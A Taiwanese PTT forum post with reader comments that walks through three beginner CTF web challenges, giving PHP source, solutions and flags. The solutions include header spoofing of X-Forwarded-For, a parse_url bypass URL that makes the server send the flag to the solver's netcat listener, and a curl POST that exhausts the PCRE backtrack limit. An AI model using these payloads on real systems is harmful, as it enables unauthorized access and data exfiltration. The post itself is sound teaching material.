Soft_Job 板


LINE

CTF (Cature The Flag) 起源於1996年 Global Hacking Conference 是较量网路安全知识与能力的竞赛 CTF 涉及的领域与知识繁多, 随着资安技术发展的加速 题目也越来越难, 入门门槛越来越高 虽然没有参赛过, 但有幸听过有经验的参赛者分享 才知道台湾这方面挺强的, 也了解到相关知识不但有趣而且重要 在这边记录讲者提供的3个体验题目与解题资讯 目标: cature the flag, 也就是要想办法取得 flag 的值 假设题目放在 10.20.104.3 这台机器 [Q1] yoyoadmin <?php highlight_file(__FILE__); //get ip $ip = 'unknown'; if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } else if ( !empty($_SERVER['HTTP_X_FORWARDED_FOR']) ) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } if ($ip === '127.0.0.1') { require_once 'flag.php'; echo $flag; } else { echo 'hi normal user'; } ?> [Q2] test connection <?php highlight_file(__FILE__); $url = isset($_POST['url']) ? $_POST['url'] : ""; if ($url != "" ) { $pu = parse_url($url); if (isset($pu["host"]) && isset($pu["scheme"])) { if ($pu["host"] === "10.20.104.1" && ($pu["scheme"] === "http" || $pu["scheme"] === "https") ) { require("flag.php"); exec("curl --insecure -H 'User-Agent: $flag' " . escapeshellarg($url), $output); echo 'connected!<br>'; } else{ echo 'error host! please set 10.20.104.1 <br>' . PHP_EOL; } } else{ echo 'no host/scheme! <br>'.PHP_EOL; } } echo 'Please give me an url: <form method="POST"> <input type="text" ' . 'name="url"> <input type="submit" value="Submit"> <br>' . PHP_EOL; // The flag is in User-Agent. Try to connect back to you :) [Q3] pregg <?php highlight_file(__FILE__); if (isset($_POST['product']) && is_string($_POST['product'])) { if (without($_POST['product'])) { if (need($_POST['product'])) { require 'flag.php'; print $flag; } else{ print '<br> <br> We want Ptt and SoftJob.'; } } } function without($product) { if (preg_match('#^.*((?:Ptt)|(?:SoftJob)).*$#s', $product, $m) === 1) { print "<br> <br> It shouldn't be Ptt or SoftJob."; return false; } else { return true; } } function need($product) { return strpos($product, 'Ptt') !== false && strpos($product, 'SoftJob') !== false; } ?> ======================================================== [A1] solution 1: 用工具 (e.g. Burp Suite) 窜改 HTTP request header ref. https://devco.re/blog/2014/06/19/client-ip-detection/ solution 2: 直接连没挡 access 的 https://10.20.104.3/yoyoadmin/flag.php FLAG{Y0u_4r3_lOca1ho5ting!} [A2] ref. https://0day.work/ekoparty-ctf-2016-writeups/#web200 solution: http://10.20.0.241:8080#@10.20.104.1/http://10.20.0.241:[email protected]/ 接着跑 nc -lp 8080 // 延伸阅读 http://www.tecmint.com/check-remote-port-in-linux/ FLAG{php_par5e_url_so_co0oOoo1~~} [A3] // 有些环境条件当时忘了记录, 例如PHP版本要是5.x 在这边查到题目来源 http://www.wechall.net/cs/challenge/noother/preg_evasion/index.php?source=show 当时看的ref. 现在已经连不上了: http://www.bommachine.co.uk/xss-php-regex-and-pcre-library-fail/ solution: 产生一个名为body的档案, 内容为 product=PttSoftJobxxx...x // 一共199995个x 接着跑 curl -k https://10.20.104.3/pregg/index.php -XPOST -d "@body" FLAG{Ptt5oftJobJ0bJQb} 希望能让更多人接触到CTF 稍微投入点时间, 就会发现它的有趣与魅力 --
QR Code



※ 发信站: 批踢踢实业坊(ptt.cc), 来自: 111.249.17.140 (台湾)
※ 文章网址: https://webptt.com/cn.aspx?n=bbs/Soft_Job/M.1585754320.A.9CD.html ※ 编辑: oscarchichun (111.249.17.140 台湾), 04/01/2020 23:49:22
1F:推 kaizz: 有修过打CTF的课 真的很有趣! 04/02 04:33
2F:推 alan23273850: 推!所以第一个工具就可以伪装自己 ip 了吗 04/02 09:16
3F:→ Masakiad: 楼上,这麽说并不正确,因为正常状况IP应该是拆layer3 04/02 11:31
4F:→ Masakiad: 资料出来校对,只有php才有可能这麽虾,去拆layer7的htt 04/02 11:31
5F:→ Masakiad: p header来校对。原文也说了是修改header而不是ip 04/02 11:31
6F:推 splitline: 跟php没关系,纯粹是开发者的问题 04/02 11:35
7F:→ Masakiad: 我没有要贬低php语言本身,但php的开发者才容易真的写出 04/02 11:48
8F:→ Masakiad: 这题目1这种弱点的系统。 04/02 11:48
9F:→ w181496: 回楼上 我在很多go, nodejs等正式上线专案也看过一样的 04/02 13:05
10F:→ w181496: 错误抓ip方式,跟语言无关,纯粹是开发者观念错误 04/02 13:05
11F:推 Masakiad: 是开发者问题没错啊,但这些初学者这样写跟语言盛行时代 04/02 13:23
12F:→ Masakiad: 已经网上错误文章数量有关。换言之我如果是攻击者,看 04/02 13:23
13F:→ Masakiad: 到php平台我可能会优先做这样的尝试,但其他语言就很後 04/02 13:23
14F:→ Masakiad: 面甚至根本不用试 04/02 13:23
15F:→ senjinbin56: 你知道XFF这种header在reverse proxy多层次架构是很 04/02 13:38
16F:→ senjinbin56: 正常的实作方式吗? 04/02 13:38
17F:→ senjinbin56: 用这个方法抓client ip在proxy架构下是没有问题的。 04/02 13:38
18F:→ senjinbin56: 但换个场景到一般应用,攻击者如果可以直接修改XFF h 04/02 13:38
19F:→ senjinbin56: eader的话,就会有问题了 04/02 13:38
20F:→ senjinbin56: 所以就算是楼上讲的php,只要场景应用正确,那这种写 04/02 13:38
21F:→ senjinbin56: 法其实也不一定会有问题 04/02 13:38
22F:→ er230059: 直接抓IP Layer的IP在有PROXY的状况也是有其他商业问题 04/02 15:02
23F:→ Masakiad: 原文题目就没出proxy了,而proxy带xff就已经是穿过L3了 04/02 17:01
24F:→ Masakiad: ,楼楼上应该是忘记了? 04/02 17:01
25F:推 pichubaby: 拆L3说出来大概一大堆人脑海OS我家L3拆出来192.168... 04/03 01:57
26F:→ pichubaby: 事实上的问题是不太应该用IP作为安全性条件 04/03 01:58
27F:→ pichubaby: 再来考虑下个问题是,Client端有同意读取或是储存IP吗 04/03 01:59
28F:→ pichubaby: 这个属於个人资料保护法或是GDPR层面的问题 04/03 02:00
29F:→ namecoin: Capture The Flag 04/03 20:27
感谢楼上提醒(Catch -> Capture), 这个typo可大了lol ※ 编辑: oscarchichun (36.229.55.163 台湾), 04/04/2020 11:08:26
30F:推 leo258x: 真的有趣 04/08 15:29







like.gif 您可能会有兴趣的文章
icon.png[问题/行为] 猫晚上进房间会不会有憋尿问题
icon.pngRe: [闲聊] 选了错误的女孩成为魔法少女 XDDDDDDDDDD
icon.png[正妹] 瑞典 一张
icon.png[心得] EMS高领长版毛衣.墨小楼MC1002
icon.png[分享] 丹龙隔热纸GE55+33+22
icon.png[问题] 清洗洗衣机
icon.png[寻物] 窗台下的空间
icon.png[闲聊] 双极の女神1 木魔爵
icon.png[售车] 新竹 1997 march 1297cc 白色 四门
icon.png[讨论] 能从照片感受到摄影者心情吗
icon.png[狂贺] 贺贺贺贺 贺!岛村卯月!总选举NO.1
icon.png[难过] 羡慕白皮肤的女生
icon.png阅读文章
icon.png[黑特]
icon.png[问题] SBK S1安装於安全帽位置
icon.png[分享] 旧woo100绝版开箱!!
icon.pngRe: [无言] 关於小包卫生纸
icon.png[开箱] E5-2683V3 RX480Strix 快睿C1 简单测试
icon.png[心得] 苍の海贼龙 地狱 执行者16PT
icon.png[售车] 1999年Virage iO 1.8EXi
icon.png[心得] 挑战33 LV10 狮子座pt solo
icon.png[闲聊] 手把手教你不被桶之新手主购教学
icon.png[分享] Civic Type R 量产版官方照无预警流出
icon.png[售车] Golf 4 2.0 银色 自排
icon.png[出售] Graco提篮汽座(有底座)2000元诚可议
icon.png[问题] 请问补牙材质掉了还能再补吗?(台中半年内
icon.png[问题] 44th 单曲 生写竟然都给重复的啊啊!
icon.png[心得] 华南红卡/icash 核卡
icon.png[问题] 拔牙矫正这样正常吗
icon.png[赠送] 老莫高业 初业 102年版
icon.png[情报] 三大行动支付 本季掀战火
icon.png[宝宝] 博客来Amos水蜡笔5/1特价五折
icon.pngRe: [心得] 新鲜人一些面试分享
icon.png[心得] 苍の海贼龙 地狱 麒麟25PT
icon.pngRe: [闲聊] (君の名は。雷慎入) 君名二创漫画翻译
icon.pngRe: [闲聊] OGN中场影片:失踪人口局 (英文字幕)
icon.png[问题] 台湾大哥大4G讯号差
icon.png[出售] [全国]全新千寻侘草LED灯, 水草

请输入看板名称,例如:Boy-Girl站内搜寻

TOP